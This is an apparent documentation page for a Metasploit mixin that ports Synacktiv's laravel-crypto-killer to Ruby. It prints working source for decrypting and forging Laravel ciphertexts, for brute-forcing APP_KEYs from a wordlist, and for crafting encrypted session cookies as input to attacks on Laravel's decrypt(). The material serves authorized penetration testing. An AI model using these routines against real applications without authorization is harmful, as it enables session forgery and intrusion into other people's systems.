Module: Msf::Exploit::LaravelCryptoKiller

Defined in:
lib/msf/core/exploit/laravel_crypto_killer.rb

Overview

This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications. This tool was firstly designed to craft payloads targeting the Laravel ‘decrypt()` function from the package `IlluminateEncryption`. It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`. The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example. Original authors of the tool: `@remsio` `@Kainx42` from SynActiv. Orignal python code can be found here: github.com/synacktiv/laravel-crypto-killer Recoded in Ruby by h00die-gr3y (h00die.gr3ygmail.com)

Instance Method Summary collapse

Instance Method Details

#aes_decrypt(encrypted_value, iv, key, cipher_mode) ⇒ String

Perform AES decryption in CBC mode (compatible with Laravel)

Parameters:

  • <encrypted_value> (String)

    Encrypted value that will be decrypted

  • <iv> (String)

    Random 16-byte IV parameter used for encryption

  • <key> (String)

    The key used for decryption

  • <cipher_mode> (String)

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String)

    The decrypted value or nil if unsuccessful



61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 61

def aes_decrypt(encrypted_value, iv, key, cipher_mode)
  # Check cipher mode
  unless valid_cipher?(cipher_mode)
    vprint_error("Cipher is not valid: #{cipher_mode}")
    return
  end
  # Create AES cipher in CBC mode
  cipher = OpenSSL::Cipher.new(cipher_mode)
  cipher.decrypt
  cipher.key = key
  cipher.iv = iv

  # Decrypt the value
  cipher.update(encrypted_value) + cipher.final
rescue OpenSSL::Cipher::CipherError => e
  vprint_error("AES decryption failed: #{e.message}")
end

#aes_encrypt(value, iv, key, cipher_mode) ⇒ String

Perform AES encryption in CBC mode (compatible with Laravel)

Parameters:

  • <value> (String)

    The value that will be encrypted

  • <iv> (String)

    The IV parameter used for encryption

  • <key> (String)

    The key used for encryption

  • <cipher_mode> (String)

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String)

    The encrypted value or nil if unsuccessful



32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 32

def aes_encrypt(value, iv, key, cipher_mode)
  # Check cipher mode
  unless valid_cipher?(cipher_mode)
    vprint_error("Cipher is not valid: #{cipher_mode}")
    return
  end
  # Create a new AES cipher in CBC mode
  cipher = OpenSSL::Cipher.new(cipher_mode)
  cipher.encrypt
  cipher.key = key
  cipher.iv = iv

  # Padding (similar to the pad lambda in Python)
  pad_length = 16 - (value.length % 16)
  padded_value = value + (pad_length.chr * pad_length)

  # Encrypt the data
  cipher.update(padded_value)
rescue StandardError => e
  vprint_error("AES encryption failed: #{e.message}")
end

#generate_mac(key, iv, value) ⇒ String

Generate HMAC with SHA256

Parameters:

  • <value> (String)

    The value that will be encrypted

  • <iv> (String)

    Random 16-byte IV parameter

  • <key> (String)

    The key

Returns:

  • (String)

    The hmac digest.



201
202
203
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 201

def generate_mac(key, iv, value)
  return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}")
end

#laravel_bruteforce_from_file(value, key_file, cipher_mode) ⇒ String

Uses an opened file containing a key on each line to perform a brute-force attack on a given value

Parameters:

  • <value> (String)

    The encrypted Laravel value

  • <key_file> (String)

    The file with Laravel APP_KEYs per line used for brute-force decryption

  • <key> (String)

    The key used for decryption

  • <cipher_mode> (String)

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String)

    The valid key if it was identified with the value: "value":<value>



177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 177

def laravel_bruteforce_from_file(value, key_file, cipher_mode)
  if !File.file?(key_file)
    return nil
  end

  File.foreach(key_file) do |line|
    key = line.strip
    decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8')
    if decrypted_value
      return { 'key' => key, 'value' => decrypted_value }
    end
  rescue StandardError
    next
  end

  nil
end

#laravel_decrypt(laravel_cipher, key, cipher_mode) ⇒ String

Decrypts a Laravel ciphered string

Parameters:

  • <laravel_cipher> (String)

    The Laravel cipher to be decrypted

  • <key> (String)

    The key used for decryption

  • <cipher_mode> (String)

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String)

    The decrypted Laravel cipher or nil if unsuccessful



159
160
161
162
163
164
165
166
167
168
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 159

def laravel_decrypt(laravel_cipher, key, cipher_mode)
  data = parse_laravel_cipher(laravel_cipher)
  key = retrieve_key(key)

  begin
    return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
  rescue StandardError
    vprint_error('Your key is probably malformed or incorrect.')
  end
end

#laravel_encrypt(value_to_encrypt, key, cipher_mode) ⇒ String

Encrypts a base64 string as a ciphered Laravel value

Parameters:

  • <value> (String)

    The base64-encode value that will be encrypted

  • <key> (String)

    The key used for decryption

  • <cipher_mode> (String)

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String)

    The base64-encoded encrypted JSON.



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 85

def laravel_encrypt(value_to_encrypt, key, cipher_mode)
  key = retrieve_key(key)
  iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV
  tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode))

  # Base64-encode the IV
  b64_iv = Base64.strict_encode64(iv).strip

  # Prepare data for output
  data = {
    'iv' => b64_iv,
    'value' => tmp_bytes.strip,
    'mac' => generate_mac(key, b64_iv, tmp_bytes.strip),
    'tag' => '' # Assuming empty tag
  }
  # Return the final encrypted value as Base64-encoded JSON
  Base64.strict_encode64(data.to_json)
end

Encrypts a base64 string as a Laravel session cookie.

Parameters:

  • <value_to_encrypt> (String)

    The value that will be encrypted

  • <hash_value> (String)

    The decrypted value of the Laravel session cookie

  • <key> (String)

    The key used for decryption

  • <cipher_mode> (String)

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String)

    The base64-encoded encrypted Laravel session_cookie value



111
112
113
114
115
116
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 111

def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode)
  decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8')
  parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000')
  session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}"
  laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode)
end

#parse_laravel_cipher(laravel_cipher) ⇒ String

Parses Laravel cipher data

Parameters:

  • <laravel_cipher> (String)

    The base64-encoded Laravel cipher data

Returns:

  • (String)

    The laravel parsed cipher data in JSON format or nil if unsuccessful



122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 122

def parse_laravel_cipher(laravel_cipher)
  laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string
  begin
    data = JSON.parse(Base64.strict_decode64(laravel_cipher))
  rescue JSON::ParserError
    vprint_error('The JSON inside your base64 is malformed')
    return
  rescue StandardError
    vprint_error('Your base64 laravel_cipher value is malformed')
    return
  end

  data['value'] = Base64.strict_decode64(data['value'])
  data['iv'] = Base64.strict_decode64(data['iv'])
  data
end

#retrieve_key(key) ⇒ String

Parse Laravel APP_KEY value

Parameters:

  • <key> (String)

    The Laravel APP_KEY

Returns:

  • (String)

    The Laravel parsed APP_KEY



143
144
145
146
147
148
149
150
151
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 143

def retrieve_key(key)
  if key.start_with?('base64:')
    Base64.strict_decode64(key.split(':')[1])
  elsif key.length == 44
    Base64.strict_decode64(key)
  else
    key.encode('utf-8')
  end
end

#valid_cipher?(cipher_mode) ⇒ Boolean

Check if cipher is valid

Parameters:

  • <cipher_mode> (String)

    The cipher_mode

Returns:

  • (Boolean)

    true if mode is ok or false if mode is not valid



20
21
22
23
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 20

def valid_cipher?(cipher_mode)
  ciphers ||= OpenSSL::Cipher.ciphers
  ciphers.include?(cipher_mode.downcase)
end